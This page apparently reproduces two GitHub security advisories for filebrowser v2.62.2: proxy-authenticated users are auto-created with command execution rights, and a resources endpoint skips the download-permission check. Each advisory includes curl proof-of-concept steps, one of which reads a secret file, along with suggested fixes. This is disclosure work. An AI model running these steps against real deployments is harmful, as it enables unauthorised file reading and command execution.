Where
AND
-Infinity
0
Severity
8.8
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The fix in commit b6a4fb1 ("self-registered users don't get execute perms") stripped Execute permission and Commands from users created via the signup handler. The same fix was not applied to the proxy auth handler. Users auto-created on first successful proxy-auth login are granted execution capabilities from global defaults, even though the signup path was explicitly changed to prevent execution rights from being inherited by automatically provisioned accounts.

Confirmed on v2.62.2 (commit 860c19d).

Root Cause

auth/proxy.go createUser() applies defaults without restriction:

user := &users.User{ Username: username, Password: hashedRandomPassword, LockPassword: true, } setting.Defaults.Apply(user) // No restriction on Execute, Commands, or Admin

Compare with http/auth.go signup handler (lines 170-178):

d.settings.Defaults.Apply(user) user.Perm.Admin = false // Self-registered users should not inherit execution capabilities // from default settings, regardless of what the administrator has // configured as the default. user.Perm.Execute = false user.Commands = []string{}

The commit message for b6a4fb1 states: "Execution rights must be explicitly granted by an admin." Users auto-created via proxy auth are also automatically provisioned (created on first login without explicit admin action), and the admin has not explicitly granted them execution rights.

PoC

Tested on filebrowser v2.62.2, built from HEAD.

# Configure with proxy auth, default commands, and exec filebrowser config set --auth.method=proxy --auth.header=X-Remote-User \ --commands "git,ls,cat,id"

# Login as admin and verify defaults have execute=true, commands set ADMINTOKEN=$(curl -s http://HOST/api/login -H "X-Remote-User: admin")

# Auto-create new user via proxy header PROXYTOKEN=$(curl -s http://HOST/api/login -H "X-Remote-User: newproxyuser")

# Check permissions curl -s http://HOST/api/users -H "X-Auth: $ADMINTOKEN" | jq '.[] | select(.username=="newproxyuser") | {execute: .perm.execute, commands}'

Result:

{ "execute": true, "commands": ["git", "ls", "cat", "id"] }

The auto-created proxy user inherited Execute and the full Commands list. A user created via signup would have execute: false and commands: [].

Impact

In proxy-auth deployments where the admin has configured default commands, users auto-provisioned on first proxy login receive execution capabilities that were not explicitly granted. The project established a security invariant in commit b6a4fb1: automatically provisioned accounts must not inherit execution rights from defaults. The proxy auto-provisioning path violates that invariant.

This is an incomplete fix for GHSA-x8jc-jvqm-pm3f ("Signup Grants Execution Permissions When Default Permissions Includes Execution"), which addressed the signup handler but not the proxy auth handler.

Preconditions

- Proxy auth enabled (--auth.method=proxy) - Exec not disabled - Default settings include non-empty Commands (admin-configured)

Suggested Fix

Apply the same restrictions as the signup handler:

setting.Defaults.Apply(user) user.Perm.Admin = false user.Perm.Execute = false user.Commands = []string{}

---

Update: Fix submitted as PR #5890.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.

Confirmed on v2.62.2 (commit 860c19d).

Root Cause

http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:

file, err := files.NewFileInfo(&files.FileOptions{ ... Content: true, // Always loads text content, no permission check })

Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.

Compare with the three protected endpoints:

// raw.go:83-85 if !d.user.Perm.Download { return http.StatusAccepted, nil }

// preview.go:38-40 if !d.user.Perm.Download { return http.StatusAccepted, nil }

// subtitle.go:13-15 if !d.user.Perm.Download { return http.StatusAccepted, nil }

PoC

Tested on filebrowser v2.62.2, built from HEAD.

# Create user with download=false via CLI filebrowser users add restricted testuser123456 --perm.download=false

# Login TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')

# BLOCKED: /api/raw correctly enforces download permission curl -s -w "\nHTTP: %{httpcode}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN" # → 202 Accepted (empty body)

# BYPASS 1: /api/resources with X-Encoding returns raw file content curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true" # → 200 OK, body: SECRETPASSWORD=hunter2

# BYPASS 2: /api/resources JSON includes content field curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content # → "SECRETPASSWORD=hunter2\n"

Impact

A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.

This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.

Suggested Fix

Match the existing endpoint behavior (HTTP 202 for denied downloads):

Content: d.user.Perm.Download, // Only load content when permitted

And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:

if !d.user.Perm.Download { return http.StatusAccepted, nil }

---

Update: Fix submitted as PR #5891.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203